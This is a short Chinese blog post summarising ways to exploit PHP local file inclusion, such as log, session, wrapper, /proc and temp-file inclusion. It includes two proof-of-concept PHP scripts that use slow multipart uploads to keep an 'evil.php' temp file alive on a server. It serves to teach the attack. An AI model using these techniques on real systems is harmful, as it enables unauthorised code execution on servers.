php Local File Inclusion的利用方法汇总

本文探讨了PHP中多种文件包含的方式,包括上传文件、日志文件、使用phpwrapper及临时文件等,并提供了生成临时文件并使其留存的技术手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

看的国外的一个paper ,总结一下(截断统一不考虑):

1. 包含上传好的文件,jpg、txt、rar等允许的文件。

2. 包含各种日志。

3. 使用php wrapper,例如php://input、php://filter、data://等。

4. 包含 /proc/self/environ ,不熟悉linux,这个就靠大家了。

5. 包含SESSION文件,php保存格式 sess_SESSIONID  默认位置是/tmp/和c:/windows/temp/ 。

6. 包含由php程序生成的文件,缓存、模版等。

7. 包含tmp文件,格式举例:/tmp/phpUs7MxA 和 c:/windows/temp/php3e.tmp(win下可暴力猜解) 。

关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除:

<?
/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);

$cmd = 'Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz

<?phpinfo()?>
--k4shifz_boundary
';
$fs=fsockopen('localhost',80);

/* you can also use HTTP/1.1 */
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999

--k4shifz_boundary
'.$cmd);
while($fs)
{
 fputs($fs,$cmd);
 sleep(1);
}
fclose($fs);
exit;
?>

<?
/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen('localhost',80);
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999

--k4shifz_boundary
Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz

<?phpinfo()?>
--k4shifz_boundary--
');

while($fs)
{
 fputs($fs,'AAAA');
 sleep(1);
}

fclose($fs);
exit;
?>

另外遗憾的说一句,php5.3.4中,null截断已经被修复,%00将告别舞台。


 

http://hi.baidu.com/kashifs/blog/item/7a4bbcff72cea90308244d2b.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值